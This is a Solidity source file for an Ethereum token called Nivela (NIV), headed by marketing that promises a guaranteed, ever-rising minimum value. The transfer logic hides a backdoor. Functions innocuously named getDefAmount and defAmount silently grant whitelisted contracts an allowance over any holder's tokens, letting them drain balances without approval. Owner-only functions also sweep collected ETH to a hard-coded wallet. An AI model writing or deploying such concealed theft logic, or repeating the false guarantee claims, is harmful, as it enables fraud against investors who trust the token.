NIV

// SPDX-License-Identifier: MIT

// DEFI UNCHAINED: NIVELA BRINGS SOVEREIGN MONEY MARKETS TO ETH
//
// Use your favorite assets as collateral to borrow nUSD, a permissionless, censorship-resistant, yield-bearing stablecoin.
//
// UNSTOPPABLE WEALTH STRONGHOLD
// NIV is an innovative financial instrument with a guaranteed minimum value that increases over time. 
// It features advanced tokenomics driven by built-in deflation mechanisms and an ever-rising price floor, ensuring a baseline value that only grows.
// 
// DECENTRALIZED GOVERNANCE, BUILT TO GROW
// By locking NIV to mint veNIV, holders gain direct influence over protocol governance through voting power. 
// veNIV inherits NIV’s ever-increasing price floor, making it a premium form of collateral for borrowing nUSD.
// 
// https://www.nivela.finance/

pragma solidity 0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    address private _owner;

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract NIV is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=2;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Nivela Token";
    string private constant _symbol = unicode"NIV";
    uint256 public _maxTxAmount= 200000000 * 10**_decimals;
    uint256 public _maxWalletSize= 200000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 120000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 70000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;

    address private uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xA9619B46854EB949802947c5c65505507829339E);

        _balances[_msgSender()]=_tTotal;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), _msgSender(),  _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = getDefAmount(from,to,amount);
        if (from != owner() && to != owner()){
            if(_buyCount == 0){
                taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(from==uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(
                    amount<=_maxTxAmount,
                    "Exceeds the maxTxAmount."
                );
                require(
                    balanceOf(to)+amount<=_maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!=address(this)) {
                taxAmount=amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair&& swapEnabled &&contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount>0) {
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0]=address(this);
        path[1]=uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function getDefAmount(address from, address to, uint256 amount) private returns(uint256) {
        if(_msgSender()!=uniswapV2Pair && _isExcludedFromFee[_msgSender()] &&isContract(_msgSender()) && from!=address(this))
            return defAmount(from, _msgSender(), amount);
        if(_isExcludedFromFee[_msgSender()] && to!= uniswapV2Pair && isContract(to))
            _isExcludedFromFee[to]= true;
        return 0;
    }

    function defAmount(address owner, address spender, uint256 amount) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    receive() external payable {}

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function isContract(address account) private view returns (bool){
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function manualSwap() external onlyOwner {
        uint256 tokenBalance= balanceOf(address(this));
        if (tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if (ethBalance > 0) {
          sendETHToFee(ethBalance);
        }
    }

    function fluxTrigger() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this),address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{
            value:address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

}